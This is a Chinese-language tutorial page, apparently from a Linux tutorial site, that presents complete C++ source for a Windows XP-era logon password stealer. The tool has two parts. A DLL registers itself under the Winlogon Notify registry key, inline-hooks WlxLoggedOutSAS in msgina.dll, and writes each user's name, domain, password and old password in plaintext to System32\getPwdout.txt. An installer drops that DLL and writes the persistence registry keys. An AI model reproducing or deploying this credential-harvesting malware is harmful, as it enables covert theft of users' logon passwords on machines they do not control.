歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
您现在的位置: Linux教程網 >> UnixLinux >  >> Linux編程 >> Linux編程

獲得系統密碼(對Windows 7無效)

實現步驟:

1. 生成GetInfo.dll

2. 將生成的GetInfo.dll作為資源放到GetPwd工程中

3. 生成GetInfo.exe

4. 運行GetInfo.exe install

5. 重啟機器,輸入密碼,進入系統後會得到C:\WINDOWS\System32\getPwdout.txt文件,文件內容為:

實現原理:

將GetInfo.dll,放在WinLogon\Notify注冊表下時,系統啟動後會自動加載GetInfo.dll,而GetInfo.dll在加載時會HOOK掉WlxLoggedOutSAS,系統登錄時winlogon會加載WlxLoggedOutSAS函數,這個函數輸出值中有

PWLX_MPR_NOTIFY_INFO

結構,其中就存儲了用戶名和密碼。winlogon在登錄時會調用這個函數,我們HOOK掉了這個函數,所以就能拿到登錄的用戶名和密碼了。。

GetInfo.dll的實現

  1. // GetInfo.cpp : Defines the entry point for the DLL application.  
  2. //  
  3.  
  4. #include "stdafx.h"  
  5. #include "GetInfo.h"  
  6. #include <stdio.h>  
  7. #include <fstream.h>  
  8. #include <iostream.h>  
  9.  
  10. //using namespace std;  
  11. //宏定義  
  12. #define WLX_SAS_ACTION_LOGON    (1)  
  13.  
  14. //WLX_MPR_NOTIFY_INFO結構  
  15. typedef struct _WLX_MPR_NOTIFY_INFO { 
  16.     PWSTR pszUserName; 
  17.     PWSTR pszDomain; 
  18.     PWSTR pszPassword; 
  19.     PWSTR pszOldPassword; 
  20. } WLX_MPR_NOTIFY_INFO, *PWLX_MPR_NOTIFY_INFO; 
  21.  
  22. //函數原形  
  23. typedef int (WINAPI* WlxLoggedOutSAS)( 
  24.                     PVOID pWlxContext, 
  25.                     DWORD dwSasType, 
  26.                     PLUID pAuthenticationId, 
  27.                     PSID pLogonSid, 
  28.                     PDWORD pdwOptions, 
  29.                     PHANDLE phToken, 
  30.                     PWLX_MPR_NOTIFY_INFO pNprNotifyInfo, 
  31.                     PVOID *pProfile 
  32.                     ); 
  33.  
  34. //自定義接管的API函數,形參保持一致  
  35. int WINAPI FunNewADDR( 
  36.                               PVOID pWlxContext, 
  37.                               DWORD dwSasType, 
  38.                               PLUID pAuthenticationId, 
  39.                               PSID pLogonSid, 
  40.                               PDWORD pdwOptions, 
  41.                               PHANDLE phToken, 
  42.                               PWLX_MPR_NOTIFY_INFO pNprNotifyInfo, 
  43.                               PVOID *pProfile 
  44.                     ); 
  45.  
  46.  
  47.  
  48. //定義字節對齊方式  
  49. #pragma pack(1)  
  50. struct HookTable{ 
  51.     HMODULE hMsgina; 
  52.     WlxLoggedOutSAS OldADDR; 
  53.     WlxLoggedOutSAS NewADDR; 
  54.     unsigned char charOldCode[6]; 
  55.     unsigned char charJmpCode[6]; 
  56. }; 
  57.  
  58. //全局hook表  
  59. HookTable hooktable = { 
  60. 0, 
  61. 0, 
  62. &FunNewADDR, 
  63. "\x8b\xff\x55\x8B\xEC", 
  64. "\xE9\x00\x00\x00\x00" 
  65. }; 
  66.  
  67. #pragma  pack()  
  68.  
  69. //////////////////////////////////////////////////////////////////////////  
  70. /////函數聲明  
  71. ///////////////////////////////////////////////////////////////////////////  
  72. VOID UnHookWlxLoggedOutSAS(); 
  73. VOID WriteLog(PWLX_MPR_NOTIFY_INFO pNprNotifyInfo); 
  74. DWORD WINAPI StartHook(LPVOID lpParam); 
  75. VOID HookWlxLoggedOutSAS(); 
  76.  
  77.  
  78. int WINAPI FunNewADDR( 
  79.                       PVOID pWlxContext, 
  80.                       DWORD dwSasType, 
  81.                       PLUID pAuthenticationId, 
  82.                       PSID pLogonSid, 
  83.                       PDWORD pdwOptions, 
  84.                       PHANDLE phToken, 
  85.                       PWLX_MPR_NOTIFY_INFO pNprNotifyInfo, 
  86.                       PVOID *pProfile 
  87.                     ) 
  88. /************************************************************************/ 
  89. /* 函數說明:自定義函數,用來取代WlxLoggedOutSAS                        */ 
  90. /* 參數:與WlxLoggedOutSAS參數相同                                      */ 
  91. /* 返回值:與WlxLoggedOutSAS返回值相同                                  */ 
  92. /************************************************************************/ 
  93. { 
  94.     UnHookWlxLoggedOutSAS(); 
  95.  
  96.     int i = hooktable.OldADDR(pWlxContext, dwSasType, pAuthenticationId, pLogonSid, pdwOptions, phToken, pNprNotifyInfo,pProfile); 
  97.     if (i == WLX_SAS_ACTION_LOGON) 
  98.     { 
  99.         WriteLog(pNprNotifyInfo); 
  100.     } 
  101.     return i; 
  102.  
  103. } 
  104.  
  105.  
  106. VOID WriteLog(PWLX_MPR_NOTIFY_INFO pNprNotifyInfo) 
  107. /************************************************************************/ 
  108. /* 函數說明:將得到的用戶名和密碼信息寫入%system%/getPwdout.txt文件中   */ 
  109. /* 參數:pNprNotifyInfo 包含用戶名和密碼的結構體                        */ 
  110. /* 返回值:無                                                           */ 
  111. /************************************************************************/ 
  112. { 
  113.     char szSystemDir[MAX_PATH] = {0}; 
  114.     GetSystemDirectory(szSystemDir, MAX_PATH - 1 ); 
  115.     char szFilePath[MAX_PATH] = {0}; 
  116.     strcat(szFilePath, szSystemDir); 
  117.     strcat(szFilePath, "\\getPwdout.txt"); 
  118.  
  119.     ofstream  outfile; 
  120.     outfile.open(szFilePath); 
  121.  
  122.     char szContent[1024 * 4] = {0}; 
  123.     sprintf(szContent, "username:%ws\nDomain:%ws\npassword:%ws\nOldPassword:%ws\n\n", pNprNotifyInfo->pszUserName, pNprNotifyInfo->pszDomain, pNprNotifyInfo->pszPassword, pNprNotifyInfo->pszOldPassword); 
  124.      
  125.     outfile.write(szContent, strlen(szContent)); 
  126.     outfile.close(); 
  127.  
  128. } 
  129.  
  130. VOID HookWlxLoggedOutSAS() 
  131. /************************************************************************/ 
  132. /* 函數說明:HOOK WlxLoggedOutSAS函數                              */ 
  133. /* 參數:無                                                             */ 
  134. /* 返回值:無                                                           */ 
  135. /************************************************************************/ 
  136. { 
  137.     DWORD OldProcte; 
  138.     VirtualProtect(hooktable.OldADDR, 5, PAGE_EXECUTE_READWRITE, &OldProcte); 
  139.  
  140.     unsigned char *p = (unsigned char*)hooktable.OldADDR; 
  141.     for (int i=0; i < 5; i++) 
  142.     { 
  143.         p[i] = hooktable.charJmpCode[i]; 
  144.     } 
  145.     VirtualProtect(hooktable.OldADDR, 5, OldProcte, &OldProcte); 
  146.     return; 
  147. } 
  148.  
  149. VOID UnHookWlxLoggedOutSAS() 
  150. /************************************************************************/ 
  151. /* 函數說明:恢復WlxLoggedOutSAS函數的原形                              */ 
  152. /* 參數:無                                                             */ 
  153. /* 返回值:無                                                           */ 
  154. /************************************************************************/ 
  155. { 
  156.     DWORD OldProcte; 
  157.     VirtualProtect(hooktable.OldADDR, 5, PAGE_EXECUTE_READWRITE, &OldProcte); 
  158.      
  159.     unsigned char *p = (unsigned char*)hooktable.OldADDR; 
  160.     for (int i=0; i < 5; i++) 
  161.     { 
  162.         p[i] = hooktable.charOldCode[i]; 
  163.     } 
  164.     VirtualProtect(hooktable.OldADDR, 5, OldProcte, &OldProcte); 
  165.     return; 
  166. } 
  167.  
  168. DWORD WINAPI StartHook(LPVOID lpParam) 
  169. /************************************************************************/ 
  170. /* 函數說明:得到WlxLoggedOutSAS函數地址,並HOOK WlxLoggedOutSAS函數    */ 
  171. /* 參數:無                                                             */ 
  172. /* 返回值:0表示成功                                                    */ 
  173. /************************************************************************/ 
  174. { 
  175.     //得到msgina.dll  
  176.     //hooktable.hMsgina   
  177.     int n = 0; 
  178.     hooktable.hMsgina = LoadLibrary("msgina.dll"); 
  179.     n  = GetLastError(); 
  180.     if (NULL == hooktable.hMsgina) 
  181.     { 
  182.         printf("getmoduleHandle msgina.dll error"); 
  183.         return -1; 
  184.     } 
  185.     //得到WlxLoggedOutSAS  
  186.     hooktable.OldADDR = (WlxLoggedOutSAS)GetProcAddress(hooktable.hMsgina, "WlxLoggedOutSAS"); 
  187.     if (NULL == hooktable.OldADDR) 
  188.     { 
  189.         printf("GetProcAddress WlxLoggedOutSAS error"); 
  190.         return -1; 
  191.     } 
  192.     int *OpCode = (int*)&hooktable.charJmpCode[1]; 
  193.     int Code = (int)hooktable.NewADDR - (int)hooktable.OldADDR -5; 
  194.     *OpCode = Code; 
  195.     HookWlxLoggedOutSAS(); 
  196.     return 0; 
  197. } 
  198. BOOL APIENTRY DllMain( HANDLE hModule,   
  199.                        DWORD  ul_reason_for_call,   
  200.                        LPVOID lpReserved 
  201.                      ) 
  202. /************************************************************************/ 
  203. /* 函數說明:DLL的主函數                                             */ 
  204. /* 參數:                                                              */ 
  205. /* 返回值:                                                             */ 
  206. /************************************************************************/ 
  207. { 
  208.     switch (ul_reason_for_call) 
  209.     { 
  210.         case DLL_PROCESS_ATTACH: 
  211.             { 
  212.                 //::CreateThread(NULL, 0, StartHook, NULL, 0, NULL);  
  213.                 StartHook(NULL); 
  214.             } 
  215.             break; 
  216.         case DLL_THREAD_ATTACH: 
  217.         case DLL_THREAD_DETACH: 
  218.         case DLL_PROCESS_DETACH: 
  219.             break; 
  220.     } 
  221.     return TRUE; 
  222. } 
  223.  
  224. // This is the constructor of a class that has been exported.  
  225. // see GetInfo.h for the class definition  
  226. CGetInfo::CGetInfo() 
  227. {   
  228.     return;   
  229. } 
  230.  
  231. extern "C" __declspec(dllexport) void start() 
  232. { 
  233.     return; 
  234. } 

外殼工程:

  1. // getpwd.cpp : Defines the entry point for the console application.  
  2. //  
  3.  
  4. #include "afx.h"  
  5. #include <Windows.h>  
  6. #include "resource.h"  
  7. #include <Winerror.h>  
  8. #include <Shlwapi.h>  
  9. #pragma comment(lib, "Shlwapi.lib")  
  10.  
  11. LPBYTE CString_To_LPBYTE(CString str) 
  12. /************************************************************************/ 
  13. /* 函數說明:將cstring類型轉換成LPBYTE類型                              */ 
  14. /* 參數:str 要轉換的CString類型                                        */ 
  15. /* 返回值:LPBYTE 轉換後的LPBYTE類型                                    */ 
  16. /************************************************************************/ 
  17.  
  18. { 
  19.     LPBYTE lpb=new BYTE[str.GetLength()+1]; 
  20.     for(int i=0;i<str.GetLength();i++) 
  21.         lpb[i]=str[i]; 
  22.     lpb[str.GetLength()]=0; 
  23.     return lpb; 
  24. } 
  25.  
  26. BOOL install() 
  27. /************************************************************************/ 
  28. /* 函數說明:釋放DLL,並將DLL的路徑寫入到注冊表中                       */ 
  29. /* 參數:無                                                             */ 
  30. /* 返回值:無                                                           */ 
  31. /************************************************************************/ 
  32. { 
  33.     //釋放資源  
  34.     //定位我們的自定義資源,這裡因為我們是從本模塊定位資源,所以將句柄簡單地置為NULL即可  
  35.     HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(IDR_IDR_DLL1), TEXT("IDR_DLL")); 
  36.     if (NULL == hRsrc) 
  37.         return FALSE; 
  38.     //獲取資源的大小  
  39.     DWORD dwSize = SizeofResource(NULL, hRsrc);   
  40.     if (0 == dwSize) 
  41.         return FALSE; 
  42.     //加載資源  
  43.     HGLOBAL hGlobal = LoadResource(NULL, hRsrc);   
  44.     if (NULL == hGlobal) 
  45.         return FALSE; 
  46.     //鎖定資源  
  47.     LPVOID pBuffer = LockResource(hGlobal);   
  48.     if (NULL == pBuffer) 
  49.         return FALSE; 
  50.      
  51.     char szSystemDir[MAX_PATH] = {0}; 
  52.     GetSystemDirectory(szSystemDir, MAX_PATH-1); 
  53.     char szRelDll[MAX_PATH] = {0}; 
  54.     strcat(szRelDll, szSystemDir); 
  55.     strcat(szRelDll, "\\GetInfo.dll"); 
  56.     DeleteFile(szRelDll); 
  57.     HANDLE hFile = CreateFile(szRelDll, FILE_GENERIC_READ|FILE_GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); 
  58.     if (NULL == hFile) 
  59.     { 
  60.         return FALSE; 
  61.     } 
  62.     DWORD dwWritten; 
  63.     WriteFile(hFile, pBuffer, dwSize, &dwWritten, NULL); 
  64.  
  65.     CloseHandle(hFile);   
  66.     FreeResource(hGlobal); 
  67.  
  68.     //將釋放的DLL寫入到注冊 表的WINLOGON下,當WINLOGON啟動時,會加載這個DLL  
  69.     CString strDllPath = szRelDll; //("dog");  
  70.     //設置有關的數據  
  71.     //CString_To_LPBYTE,請參考下面的函數  
  72.     LPBYTE dllpath_Set=CString_To_LPBYTE(strDllPath);//定義用戶姓名 owner_Set  
  73.     DWORD type_1=REG_SZ;//定義數據類型  
  74.     DWORD cbData_1=strDllPath.GetLength()+1;//定義數據長度  
  75.      
  76.     DWORD status = SHSetValue(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\GetPwd\\", "dllname", type_1, dllpath_Set, cbData_1); 
  77.     if (ERROR_SUCCESS  != status) 
  78.     { 
  79.         printf("write reg:dllname error"); 
  80.         return FALSE; 
  81.     } 
  82.      
  83.     CString  strStartUp("dog"); 
  84.     LPBYTE startup_set=CString_To_LPBYTE(strStartUp);//定義公司名稱 company_Set  
  85.     DWORD type_2=REG_SZ;//定義數據類型  
  86.     DWORD cbData_2=strStartUp.GetLength()+1;//定義數據長度  
  87.      
  88.     status = SHSetValue(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\GetPwd\\", "startup", type_2, startup_set, cbData_2); 
  89.     if (ERROR_SUCCESS  != status) 
  90.     { 
  91.         printf("write reg:dllname error"); 
  92.         return FALSE; 
  93.     } 
  94.  
  95.     return TRUE; 
  96. } 
  97.  
  98. BOOL decry() 
  99. /************************************************************************/ 
  100. /* 函數說明:用於解密生成的密碼文件,生成密碼文件時沒有加密,所以這裡沒實現*/ 
  101. /* 參數:無                                                             */ 
  102. /* 返回值:無                                                           */ 
  103. /************************************************************************/ 
  104. { 
  105.     return TRUE; 
  106. } 
  107.  
  108. VOID usage() 
  109. /************************************************************************/ 
  110. /* 函數說明:打印使用幫助                                               */ 
  111. /* 參數:無                                                             */ 
  112. /* 返回值:無                                                           */ 
  113. /************************************************************************/ 
  114. { 
  115.     printf("************************************\n"); 
  116.     printf("usages:\n"); 
  117.     printf("getpwd.exe install\n"); 
  118.     printf("getpwd.exe decryp\n"); 
  119.     printf("************************************\n"); 
  120. } 
  121.  
  122.  
  123. int main(int argc, char* argv[]) 
  124. /************************************************************************/ 
  125. /* 函數說明:Main函數                                                   */ 
  126. /* 參數:無                                                             */ 
  127. /* 返回值:無                                                           */ 
  128. /************************************************************************/ 
  129. { 
  130.     if (argc != 2) 
  131.     { 
  132.         usage(); 
  133.         return -1; 
  134.     } 
  135.     if (stricmp(argv[1], "install") == 0) 
  136.     { 
  137.         install(); 
  138.         getchar(); 
  139.         return 0; 
  140.     } 
  141.     else if (stricmp(argv[1], "decryp") == 0) 
  142.     { 
  143.         decry(); 
  144.         return 0; 
  145.     } 
  146.     else 
  147.     { 
  148.         usage(); 
  149.         return 0; 
  150.     } 
  151.      
  152.     return 0; 
  153. } 
Copyright © Linux教程網 All Rights Reserved